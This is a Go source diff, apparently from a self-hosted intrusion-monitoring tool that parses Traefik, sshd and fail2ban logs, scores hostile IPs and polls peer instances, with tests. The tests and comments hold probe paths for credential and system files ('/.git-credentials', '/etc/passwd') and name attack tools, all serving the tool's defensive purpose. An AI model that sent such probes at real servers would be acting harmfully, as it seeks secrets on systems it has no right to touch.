|
||||
return LevelSuspicious
|
||||
}
|
||||
return l
|
||||
}
|
||||
|
||||
// LevelFor maps a score to a level (score only).
|
||||
func LevelFor(score float64) Level {
|
||||
switch {
|
||||
case score >= HostileScore:
|
||||
return LevelHostile
|
||||
case score >= SuspiciousScore:
|
||||
return LevelSuspicious
|
||||
}
|
||||
return LevelLow
|
||||
}
|
||||
|
||||
// Event is one classified observation from a log source.
|
||||
type Event struct {
|
||||
Time time.Time
|
||||
IP string
|
||||
Cat Category
|
||||
Source string // traefik, ssh, fail2ban
|
||||
Domain string
|
||||
Method string
|
||||
Path string
|
||||
UA string
|
||||
User string
|
||||
Jail string
|
||||
Status int
|
||||
// Unban marks a fail2ban unban (Cat is Ban). Restore marks a ban replayed
|
||||
// by fail2ban after a restart: it updates the ban state but is not scored.
|
||||
Unban bool
|
||||
Restore bool
|
||||
// Forged marks an attack request whose User-Agent claims to be a monitor.
|
||||
Forged bool
|
||||
// Classification detail (Traefik): Soft = the server answered 2xx/3xx so the
|
||||
// probe probably found nothing; Strong = a high confidence signal; Weak = a
|
||||
// pattern that is only meaningful together with an attack-tool User-Agent.
|
||||
Soft, Strong, Weak bool
|
||||
// Framed: the Sec-Fetch-* headers say a browser sent it cross-site or as a
|
||||
// subresource. It counts in the timeline but never scores an IP.
|
||||
Framed bool
|
||||
// Traffic details (Traefik only).
|
||||
DurationNS int64
|
||||
Bytes int64
|
||||
Referer string
|
||||
E Enrich
|
||||
}
|
||||
|
||||
// Enrich holds what the geo and user-agent databases say about an event. It is
|
||||
// filled by the runner before the event reaches the store.
|
||||
type Enrich struct {
|
||||
CC string // ISO 3166-1 alpha-2, "" unknown
|
||||
City string
|
||||
Browser string
|
||||
OS string
|
||||
Device string // desktop, mobile, tablet, bot, tool, unknown
|
||||
Bot bool
|
||||
BotName string
|
||||
Tool bool
|
||||
}
|
||||
|
||||
// GeoInfo is the location and network of an address.
|
||||
type GeoInfo struct {
|
||||
CC, Country, CountryPT, Continent, Region, City string
|
||||
Lat, Lon float64
|
||||
ASN uint32
|
||||
ASOrg string
|
||||
}
|
||||
|
||||
// UAInfo is a parsed User-Agent.
|
||||
type UAInfo struct {
|
||||
Browser, BrowserMajor, OS, Device, BotName, Tool string
|
||||
Bot bool
|
||||
}
|
||||
|
||||
// Enricher resolves addresses and User-Agents. Implementations must be safe
|
||||
// for concurrent use and fast (it runs for every log line).
|
||||
type Enricher interface {
|
||||
Geo(ip string) GeoInfo
|
||||
UA(raw string) UAInfo
|
||||
}
|
||||
|
||||
// ToolBonus is added to the score of every non-benign request sent by an
|
||||
// attack tool (sqlmap, nuclei, zgrab, masscan...).
|
||||
const ToolBonus = 2.0
|
||||
|
||||
// ParseCIDRs parses a comma separated list of CIDRs or bare IPs.
|
||||
func ParseCIDRs(list string) ([]netip.Prefix, error) {
|
||||
var out []netip.Prefix
|
||||
for _, part := range strings.Split(list, ",") {
|
||||
part = strings.TrimSpace(part)
|
||||
if part == "" {
|
||||
continue
|
||||
}
|
||||
if p, err := netip.ParsePrefix(part); err == nil {
|
||||
out = append(out, p.Masked())
|
||||
continue
|
||||
}
|
||||
a, err := netip.ParseAddr(part)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, netip.PrefixFrom(a, a.BitLen()))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// Ignored reports whether ip falls in any of the prefixes. Anything that is not
|
||||
// a plain address (garbage, a zone like "::1%x") counts as ignored.
|
||||
func Ignored(prefixes []netip.Prefix, ip string) bool {
|
||||
a, err := netip.ParseAddr(ip)
|
||||
if err != nil || a.Zone() != "" {
|
||||
return true
|
||||
}
|
||||
a = a.Unmap()
|
||||
for _, p := range prefixes {
|
||||
if p.Contains(a) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
var nonGlobal = func() []netip.Prefix {
|
||||
var out []netip.Prefix
|
||||
for _, c := range []string{
|
||||
"0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24",
|
||||
"192.0.2.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",
|
||||
"::/128", "::1/128", "fc00::/7", "fe80::/10", "ff00::/8", "2001:db8::/32", "64:ff9b::/96", "100::/64",
|
||||
} {
|
||||
out = append(out, netip.MustParsePrefix(c))
|
||||
}
|
||||
return out
|
||||
}()
|
||||
|
||||
// IsGlobal reports whether a is a routable public unicast address: what a
|
||||
// blocklist may contain. Private, loopback, link-local, multicast, CGNAT,
|
||||
// documentation and reserved ranges are not.
|
||||
func IsGlobal(a netip.Addr) bool {
|
||||
a = a.Unmap()
|
||||
if !a.IsValid() || a.Zone() != "" {
|
||||
return false
|
||||
}
|
||||
for _, p := range nonGlobal {
|
||||
if p.Contains(a) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net/netip"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ErrIgnored means a line is valid but carries nothing to record.
|
||||
var ErrIgnored = errors.New("ignored")
|
||||
|
||||
const (
|
||||
maxPath = 240
|
||||
maxUA = 200
|
||||
maxDomain = 100
|
||||
)
|
||||
|
||||
func clip(s string, n int) string {
|
||||
s = strings.Map(func(r rune) rune {
|
||||
if r < 0x20 || r == 0x7f {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, s)
|
||||
if len(s) > n {
|
||||
s = strings.ToValidUTF8(s[:n], "")
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func cleanIP(s string) (string, bool) {
|
||||
a, err := netip.ParseAddr(strings.TrimSpace(s))
|
||||
if err != nil || a.Zone() != "" {
|
||||
return "", false // a zone ("%eth0") never appears in a client address and is an injection vector
|
||||
}
|
||||
return a.Unmap().String(), true
|
||||
}
|
||||
|
||||
type traefikLine struct {
|
||||
ClientHost string `json:"ClientHost"`
|
||||
Host string `json:"RequestHost"`
|
||||
Method string `json:"RequestMethod"`
|
||||
Path string `json:"RequestPath"`
|
||||
Status int `json:"DownstreamStatus"`
|
||||
StartUTC string `json:"StartUTC"`
|
||||
Time string `json:"time"`
|
||||
UA string `json:"request_User-Agent"`
|
||||
Referer string `json:"request_Referer"`
|
||||
FetchSite string `json:"request_Sec-Fetch-Site"`
|
||||
FetchDest string `json:"request_Sec-Fetch-Dest"`
|
||||
Duration int64 `json:"Duration"`
|
||||
Size int64 `json:"DownstreamContentSize"`
|
||||
}
|
||||
|
||||
// ParseTraefik parses one Traefik JSON access log line.
|
||||
func ParseTraefik(line []byte) (Event, error) {
|
||||
var l traefikLine
|
||||
if err := json.Unmarshal(line, &l); err != nil {
|
||||
return Event{}, err
|
||||
}
|
||||
ip, ok := cleanIP(l.ClientHost)
|
||||
if !ok {
|
||||
return Event{}, ErrIgnored
|
||||
}
|
||||
ts := l.StartUTC
|
||||
if ts == "" {
|
||||
ts = l.Time
|
||||
}
|
||||
t, err := time.Parse(time.RFC3339Nano, ts)
|
||||
if err != nil {
|
||||
return Event{}, err
|
||||
}
|
||||
ev := Event{
|
||||
Time: t.UTC(), IP: ip, Source: "traefik", Status: l.Status,
|
||||
Domain: clip(strings.ToLower(l.Host), maxDomain),
|
||||
Method: clip(l.Method, 12),
|
||||
Path: clip(l.Path, maxPath),
|
||||
UA: clip(l.UA, maxUA),
|
||||
DurationNS: l.Duration, Bytes: l.Size, Referer: clip(l.Referer, 300),
|
||||
}
|
||||
ev.Framed = Framed(l.FetchSite, l.FetchDest)
|
||||
c := Classify(l.Method, l.Path, l.Status)
|
||||
ev.Cat, ev.Soft, ev.Strong, ev.Weak = c.Cat, c.Soft, c.Strong, c.Weak
|
||||
return ev, nil
|
||||
}
|
||||
|
||||
var subresourceDest = map[string]bool{
|
||||
"image": true, "script": true, "style": true, "font": true, "iframe": true, "frame": true, "embed": true,
|
||||
"object": true, "audio": true, "video": true, "track": true, "worker": true, "sharedworker": true,
|
||||
"serviceworker": true, "manifest": true, "report": true, "xslt": true, "paintworklet": true, "audioworklet": true,
|
||||
}
|
||||
|
||||
// Framed reports whether the Sec-Fetch-* headers say a browser sent the request
|
||||
// on behalf of another site or as a subresource (an <img src=.../etc/passwd> on
|
||||
// a third party page). Attack tools do not send these headers.
|
||||
func Framed(site, dest string) bool {
|
||||
site, dest = strings.ToLower(strings.TrimSpace(site)), strings.ToLower(strings.TrimSpace(dest))
|
||||
return site == "cross-site" || site == "same-site" || subresourceDest[dest]
|
||||
}
|
||||
|
||||
const sshTail = `(?: ssh2(?:: .*)?)?(?: \[preauth\])?$`
|
||||
|
||||
// The user name is attacker controlled ("ssh 'a from 1.2.3.4 port 1 x'@host"),
|
||||
// so every rule that carries a user is anchored at the END of the message and
|
||||
// takes the user greedily: the address is always the last "from IP port N".
|
||||
var sshRules = []struct {
|
||||
re *regexp.Regexp
|
||||
cat Category
|
||||
user int // capture group of the user, 0 if none
|
||||
ip int
|
||||
}{
|
||||
{regexp.MustCompile(`^Invalid user (.*) from (\S+) port \d+` + sshTail), SSHFail, 1, 2},
|
||||
{regexp.MustCompile(`^Connection closed by invalid user (.*) (\S+) port \d+` + sshTail), SSHFail, 1, 2},
|
||||
{regexp.MustCompile(`^Connection closed by authenticating user (.+) (\S+) port \d+` + sshTail), SSHFail, 1, 2},
|
||||
{regexp.MustCompile(`^Failed (?:password|publickey|keyboard-interactive/pam) for (?:invalid user )?(.+) from (\S+) port \d+` + sshTail), SSHFail, 1, 2},
|
||||
{regexp.MustCompile(`^Disconnected from (?:authenticating|invalid) user (.*) (\S+) port \d+` + sshTail), SSHFail, 1, 2},
|
||||
{regexp.MustCompile(`^Accepted (?:publickey|password|keyboard-interactive/pam) for (.+) from (\S+) port \d+` + sshTail), SSHOK, 1, 2},
|
||||
// no user field: the address sits at a fixed position right after fixed text
|
||||
{regexp.MustCompile(`^Unable to negotiate with (\S+) port \d+`), SSHProbe, 0, 1},
|
||||
{regexp.MustCompile(`^banner exchange: Connection from (\S+) port \d+`), SSHProbe, 0, 1},
|
||||
{regexp.MustCompile(`^Protocol major versions differ for (\S+) port \d+`), SSHProbe, 0, 1},
|
||||
{regexp.MustCompile(`^Connection (?:closed|reset) by (\S+) port \d+(?: \[preauth\])?$`), SSHProbe, 0, 1},
|
||||
}
|
||||
|
||||
var sshProg = regexp.MustCompile(`^sshd(?:-session)?(?:\[\d+\])?:$`)
|
||||
|
||||
// ParseAuth parses one /var/log/auth.log line (ISO timestamps) written by sshd.
|
||||
// The line must be exactly "<iso time> <host> sshd[pid]: <message>": text that
|
||||
// merely mentions sshd (logger, sudo COMMAND=...) is ignored.
|
||||
func ParseAuth(line string) (Event, error) {
|
||||
f := strings.SplitN(line, " ", 4)
|
||||
if len(f) < 4 || !sshProg.MatchString(f[2]) {
|
||||
return Event{}, ErrIgnored
|
||||
}
|
||||
msg := strings.TrimSpace(f[3])
|
||||
msg = strings.TrimPrefix(msg, "error: ")
|
||||
if strings.HasPrefix(msg, "kex_exchange_identification") {
|
||||
// "kex_exchange_identification: Connection closed by remote host" has no
|
||||
// IP; the line that follows ("Connection closed by IP port N") records it.
|
||||
return Event{}, ErrIgnored
|
||||
}
|
||||
for _, r := range sshRules {
|
||||
m := r.re.FindStringSubmatch(msg)
|
||||
if m == nil {
|
||||
continue
|
||||
}
|
||||
if r.user > 0 && strings.Contains(m[r.user], " from ") {
|
||||
return Event{}, ErrIgnored // an injection attempt in the user name
|
||||
}
|
||||
ip, ok := cleanIP(m[r.ip])
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
t, err := time.Parse(time.RFC3339Nano, f[0])
|
||||
if err != nil {
|
||||
return Event{}, err
|
||||
}
|
||||
ev := Event{Time: t.UTC(), IP: ip, Cat: r.cat, Source: "ssh"}
|
||||
if r.user > 0 {
|
||||
ev.User = clip(m[r.user], 64)
|
||||
}
|
||||
return ev, nil
|
||||
}
|
||||
return Event{}, ErrIgnored
|
||||
}
|
||||
|
||||
var f2bRe = regexp.MustCompile(`^(\d{4}-\d\d-\d\d \d\d:\d\d:\d\d)(?:,\d+)? fail2ban\.actions\s+\[\d+\]: NOTICE\s+\[([^\]]+)\] (Restore Ban|Ban|Unban) (\S+)`)
|
||||
|
||||
// ParseFail2ban parses one fail2ban.log line. Timestamps use the host local
|
||||
// time zone (UTC in containers unless TZ is set).
|
||||
func ParseFail2ban(line string) (Event, error) {
|
||||
m := f2bRe.FindStringSubmatch(line)
|
||||
if m == nil {
|
||||
return Event{}, ErrIgnored
|
||||
}
|
||||
ip, ok := cleanIP(m[4])
|
||||
if !ok {
|
||||
return Event{}, ErrIgnored
|
||||
}
|
||||
t, err := time.ParseInLocation("2006-01-02 15:04:05", m[1], time.Local)
|
||||
if err != nil {
|
||||
return Event{}, err
|
||||
}
|
||||
return Event{
|
||||
Time: t.UTC(), IP: ip, Cat: Ban, Source: "fail2ban", Jail: clip(m[2], 40),
|
||||
Unban: m[3] == "Unban", Restore: m[3] == "Restore Ban",
|
||||
}, nil
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package core
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestGitFilesAreScanner(t *testing.T) {
|
||||
for _, p := range []string{"/.git-credentials", "/.gitignore", "/.gitconfig", "/.git-rewrite", "/.git/HEAD"} {
|
||||
if c := Classify("GET", p, 404); c.Cat != Scanner {
|
||||
t.Errorf("%s: %s", p, c.Cat)
|
||||
}
|
||||
}
|
||||
if c := Classify("GET", "/.github/workflows/x.yml", 404); c.Cat == Scanner {
|
||||
t.Errorf(".github: %s", c.Cat)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTraefikSecFetchFraming(t *testing.T) {
|
||||
base := `{"ClientHost":"8.8.8.8","RequestHost":"a.example","RequestMethod":"GET","RequestPath":"/etc/passwd","DownstreamStatus":404,"StartUTC":"2026-11-14T10:00:00Z"`
|
||||
for _, tc := range []struct {
|
||||
extra string
|
||||
want bool
|
||||
}{
|
||||
{``, false},
|
||||
{`,"request_Sec-Fetch-Site":"cross-site","request_Sec-Fetch-Dest":"image","request_Referer":"https://evil.example/"`, true},
|
||||
{`,"request_Sec-Fetch-Site":"same-site"`, true},
|
||||
{`,"request_Sec-Fetch-Site":"none","request_Sec-Fetch-Dest":"document"`, false},
|
||||
{`,"request_Sec-Fetch-Site":"same-origin","request_Sec-Fetch-Dest":"Script"`, true},
|
||||
} {
|
||||
ev, err := ParseTraefik([]byte(base + tc.extra + `}`))
|
||||
if err != nil || ev.Framed != tc.want || ev.Cat != Exploit {
|
||||
t.Errorf("%s: framed=%v cat=%s err=%v", tc.extra, ev.Framed, ev.Cat, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,289 @@
|
||||
// Package fed lets one instance aggregate the summaries of other instances.
|
||||
package fed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
// maxBody caps what a hub accepts from one peer response.
|
||||
const maxBody = 8 << 20
|
||||
|
||||
// Peer is a remote Urutau instance.
|
||||
type Peer struct {
|
||||
Name, URL string
|
||||
// Token overrides the hub-wide token for this peer (URUTAU_PEER_TOKEN_<NAME>).
|
||||
Token string
|
||||
}
|
||||
|
||||
// ParsePeer parses "name=https://url".
|
||||
func ParsePeer(s string) (Peer, error) {
|
||||
name, u, ok := strings.Cut(s, "=")
|
||||
name, u = strings.TrimSpace(name), strings.TrimRight(strings.TrimSpace(u), "/")
|
||||
if !ok || name == "" || u == "" {
|
||||
return Peer{}, fmt.Errorf("peer %q: expected name=https://url", s)
|
||||
}
|
||||
pu, err := url.Parse(u)
|
||||
if err != nil || pu.Host == "" || pu.User != nil {
|
||||
return Peer{}, fmt.Errorf("peer %q: invalid URL", s)
|
||||
}
|
||||
switch {
|
||||
case pu.Scheme == "https":
|
||||
case pu.Scheme == "http" && isLoopbackHost(pu.Hostname()):
|
||||
default:
|
||||
return Peer{}, fmt.Errorf("peer %q: the URL must be https (plain http only for loopback)", s)
|
||||
}
|
||||
return Peer{Name: name, URL: u}, nil
|
||||
}
|
||||
|
||||
func isLoopbackHost(h string) bool {
|
||||
if h == "localhost" {
|
||||
return true
|
||||
}
|
||||
a, err := netip.ParseAddr(h)
|
||||
return err == nil && a.IsLoopback()
|
||||
}
|
||||
|
||||
type peerState struct {
|
||||
online bool
|
||||
lastOK int64
|
||||
err string
|
||||
latency int64
|
||||
version string
|
||||
exports map[string]store.PeerExport
|
||||
}
|
||||
|
||||
// Hub polls peers and serves their latest summaries.
|
||||
type Hub struct {
|
||||
Peers []Peer
|
||||
Token string
|
||||
Interval time.Duration
|
||||
client *http.Client
|
||||
|
||||
mu sync.RWMutex
|
||||
state map[string]*peerState
|
||||
}
|
||||
|
||||
// NewHub creates a hub; Interval defaults to 15 seconds.
|
||||
func NewHub(peers []Peer, token string) *Hub {
|
||||
h := &Hub{Peers: peers, Token: token, Interval: 15 * time.Second,
|
||||
client: &http.Client{Timeout: 4 * time.Second, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}, state: map[string]*peerState{}}
|
||||
for _, p := range peers {
|
||||
h.state[p.Name] = &peerState{exports: map[string]store.PeerExport{}}
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *Hub) get(ctx context.Context, p Peer, path string, out any) (time.Duration, error) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, p.URL+path, nil)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
tok := h.Token
|
||||
if p.Token != "" {
|
||||
tok = p.Token
|
||||
}
|
||||
if tok != "" {
|
||||
req.Header.Set("Authorization", "Bearer "+tok)
|
||||
}
|
||||
req.Header.Set("Accept", "application/json")
|
||||
t := time.Now()
|
||||
resp, err := h.client.Do(req)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != 200 {
|
||||
io.Copy(io.Discard, io.LimitReader(resp.Body, 4096))
|
||||
return 0, fmt.Errorf("HTTP %d", resp.StatusCode)
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, maxBody+1))
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if len(body) > maxBody {
|
||||
return 0, fmt.Errorf("response larger than %d bytes", maxBody)
|
||||
}
|
||||
if err := json.Unmarshal(body, out); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return time.Since(t), nil
|
||||
}
|
||||
|
||||
// Refresh fetches every peer once, concurrently. Failures only mark the peer offline.
|
||||
func (h *Hub) Refresh(ctx context.Context) {
|
||||
var wg sync.WaitGroup
|
||||
for _, p := range h.Peers {
|
||||
wg.Add(1)
|
||||
go func(p Peer) {
|
||||
defer wg.Done()
|
||||
exports := map[string]store.PeerExport{}
|
||||
var lat time.Duration
|
||||
var ferr error
|
||||
for name := range store.Ranges {
|
||||
var e store.PeerExport
|
||||
d, err := h.get(ctx, p, "/api/v1/peer/export?range="+name, &e)
|
||||
if err == nil {
|
||||
err = e.Sanitize(name)
|
||||
}
|
||||
if err != nil {
|
||||
ferr = err
|
||||
break
|
||||
}
|
||||
lat = d
|
||||
e.Summary = rename(e.Summary, p.Name)
|
||||
exports[name] = e
|
||||
}
|
||||
h.mu.Lock()
|
||||
st := h.state[p.Name]
|
||||
if ferr != nil {
|
||||
st.online, st.err = false, ferr.Error()
|
||||
if len(st.err) > 160 {
|
||||
st.err = st.err[:160]
|
||||
}
|
||||
} else {
|
||||
st.online, st.err, st.lastOK, st.latency, st.exports = true, "", time.Now().Unix(), lat.Milliseconds(), exports
|
||||
for _, e := range exports {
|
||||
st.version = e.Summary.Version
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}(p)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// rename forces the configured peer name on every row of a remote summary.
|
||||
func rename(s store.Summary, name string) store.Summary {
|
||||
s.Host = name
|
||||
for i := range s.Hosts {
|
||||
s.Hosts[i].Name, s.Hosts[i].Self = name, false
|
||||
}
|
||||
for i := range s.IPs {
|
||||
s.IPs[i].Hosts = []string{name}
|
||||
}
|
||||
for i := range s.Recent {
|
||||
s.Recent[i].Host = name
|
||||
}
|
||||
for i := range s.Sources {
|
||||
s.Sources[i].Host = name
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// Run refreshes until ctx is done.
|
||||
func (h *Hub) Run(ctx context.Context) {
|
||||
if len(h.Peers) == 0 {
|
||||
return
|
||||
}
|
||||
h.Refresh(ctx)
|
||||
t := time.NewTicker(h.Interval)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
h.Refresh(ctx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Hosts lists the status of every peer (online or not).
|
||||
func (h *Hub) Hosts() []store.HostInfo {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
out := make([]store.HostInfo, 0, len(h.Peers))
|
||||
for _, p := range h.Peers {
|
||||
st := h.state[p.Name]
|
||||
hi := store.HostInfo{Name: p.Name, Online: st.online, Error: st.err, LastSeen: st.lastOK, LatencyMS: st.latency, Version: st.version}
|
||||
if e, ok := st.exports["24h"]; ok && st.online {
|
||||
s := e.Summary
|
||||
hi.Requests, hi.Malicious = s.Totals.Requests, s.Totals.Malicious
|
||||
hi.HostileIPs, hi.ActiveBans = s.Totals.HostileIPs, s.Totals.ActiveBans
|
||||
}
|
||||
out = append(out, hi)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Summaries returns the summaries of online peers for a range. When only is
|
||||
// not empty just that peer is returned.
|
||||
func (h *Hub) Summaries(rangeName, only string) []store.Summary {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
var out []store.Summary
|
||||
for _, p := range h.Peers {
|
||||
if only != "" && only != p.Name {
|
||||
continue
|
||||
}
|
||||
st := h.state[p.Name]
|
||||
if e, ok := st.exports[rangeName]; ok && st.online {
|
||||
out = append(out, e.Summary)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Has reports whether name is a configured peer.
|
||||
func (h *Hub) Has(name string) bool {
|
||||
for _, p := range h.Peers {
|
||||
if p.Name == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// IPDetail looks an address up in the cached exports of the online peers (the
|
||||
// 7-day summary, which carries the full row). No request is made to the peer.
|
||||
func (h *Hub) IPDetail(ip string) []store.IPSummary {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
var out []store.IPSummary
|
||||
for _, p := range h.Peers {
|
||||
st := h.state[p.Name]
|
||||
e, ok := st.exports["7d"]
|
||||
if !ok || !st.online {
|
||||
continue
|
||||
}
|
||||
for _, x := range e.Summary.IPs {
|
||||
if x.IP == ip {
|
||||
out = append(out, x)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Traffic returns the cached analytics of online peers (or only one) for a
|
||||
// domain ("all" or a name), from the same export.
|
||||
func (h *Hub) Traffic(rangeName, domain, only string) []store.TrafficData {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
var out []store.TrafficData
|
||||
for _, p := range h.Peers {
|
||||
if only != "" && only != p.Name {
|
||||
continue
|
||||
}
|
||||
st := h.state[p.Name]
|
||||
if e, ok := st.exports[rangeName]; ok && st.online {
|
||||
if t, ok := e.Traffic[domain]; ok {
|
||||
t.Host = p.Name
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
package fed_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
func TestPeerPollingMergeAndOffline(t *testing.T) {
|
||||
ps := store.New(store.Config{Name: "remote-self-name", Version: "t"})
|
||||
ps.Ingest(core.Event{Time: time.Now(), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET"})
|
||||
ps.Traffic(core.Event{Time: time.Now(), IP: "9.9.9.9", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200})
|
||||
srv := httptest.NewServer(server.New(server.Options{Token: "main-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{"peer-secret-0123456789-abcdefghijklmnopqr"}, Version: "t", Store: ps}))
|
||||
|
||||
p, err := fed.ParsePeer("hostinger=" + srv.URL + "/")
|
||||
if err != nil || p.Name != "hostinger" {
|
||||
t.Fatal(p, err)
|
||||
}
|
||||
for _, bad := range []string{"nourl", "=http://x", "a=ftp://x", "a=", "a=http://example.org", "a=http://10.0.0.5:8790", "a=https://user:pw@example.org"} {
|
||||
if _, err := fed.ParsePeer(bad); err == nil {
|
||||
t.Errorf("%q must be rejected", bad)
|
||||
}
|
||||
}
|
||||
|
||||
good := fed.NewHub([]fed.Peer{p}, "peer-secret-0123456789-abcdefghijklmnopqr")
|
||||
good.Refresh(context.Background())
|
||||
sums := good.Summaries("24h", "")
|
||||
if len(sums) != 1 || sums[0].Host != "hostinger" || sums[0].IPs[0].Hosts[0] != "hostinger" || sums[0].IPs[0].IP != "5.5.5.5" {
|
||||
t.Fatalf("summaries %+v", sums)
|
||||
}
|
||||
if h := good.Hosts(); !h[0].Online || h[0].Name != "hostinger" {
|
||||
t.Fatalf("hosts %+v", h)
|
||||
}
|
||||
if d := good.IPDetail("5.5.5.5"); len(d) != 1 || d[0].Hosts[0] != "hostinger" {
|
||||
t.Fatalf("ip detail from the cached export: %v", d)
|
||||
}
|
||||
if tr := good.Traffic("24h", "all", ""); len(tr) != 1 || tr[0].Requests != 1 || tr[0].Host != "hostinger" {
|
||||
t.Fatalf("traffic %+v", tr)
|
||||
}
|
||||
if tr := good.Traffic("24h", "a.example", "hostinger"); len(tr) != 1 || tr[0].Requests != 1 {
|
||||
t.Fatalf("per-domain traffic %+v", tr)
|
||||
}
|
||||
|
||||
bad := fed.NewHub([]fed.Peer{p}, "wrong")
|
||||
bad.Refresh(context.Background())
|
||||
if h := bad.Hosts(); h[0].Online || h[0].Error == "" || len(bad.Summaries("24h", "")) != 0 {
|
||||
t.Fatalf("wrong token must mark the peer offline: %+v", h)
|
||||
}
|
||||
|
||||
srv.Close()
|
||||
good.Refresh(context.Background())
|
||||
if h := good.Hosts(); h[0].Online || len(good.Summaries("24h", "")) != 0 {
|
||||
t.Fatalf("closed peer must be offline: %+v", h)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHubOnlyAsksForTheExportAndRefusesHostileResponses(t *testing.T) {
|
||||
var paths []string
|
||||
var huge atomic.Bool
|
||||
var redirects atomic.Int32
|
||||
target := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
redirects.Add(1)
|
||||
w.Write([]byte("{}"))
|
||||
}))
|
||||
defer target.Close()
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/api/v1/peer/export", func(w http.ResponseWriter, r *http.Request) {
|
||||
paths = append(paths, r.URL.Path)
|
||||
switch {
|
||||
case r.URL.Query().Get("redirect") == "1":
|
||||
case huge.Load():
|
||||
w.Write([]byte(`{"v":1,"pad":"` + strings.Repeat("x", 9<<20) + `"}`))
|
||||
return
|
||||
}
|
||||
http.Redirect(w, r, target.URL+"/x", http.StatusFound)
|
||||
})
|
||||
srv := httptest.NewServer(mux)
|
||||
defer srv.Close()
|
||||
p := fed.Peer{Name: "evil", URL: srv.URL}
|
||||
|
||||
h := fed.NewHub([]fed.Peer{p}, "t")
|
||||
h.Refresh(context.Background())
|
||||
if redirects.Load() != 0 {
|
||||
t.Fatal("redirects must not be followed")
|
||||
}
|
||||
if st := h.Hosts()[0]; st.Online {
|
||||
t.Fatalf("a redirect is a failure: %+v", st)
|
||||
}
|
||||
huge.Store(true)
|
||||
h.Refresh(context.Background())
|
||||
if st := h.Hosts()[0]; st.Online || !strings.Contains(st.Error, "larger") {
|
||||
t.Fatalf("an oversized response must be refused: %+v", st)
|
||||
}
|
||||
for _, path := range paths {
|
||||
if path != "/api/v1/peer/export" {
|
||||
t.Fatalf("the hub asked for %s", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHubBoundsAnInflatedPeer(t *testing.T) {
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/api/v1/peer/export", func(w http.ResponseWriter, r *http.Request) {
|
||||
var e store.PeerExport
|
||||
e.V = 1
|
||||
e.Summary.Version = strings.Repeat("v", 5000)
|
||||
for i := 0; i < 1000; i++ {
|
||||
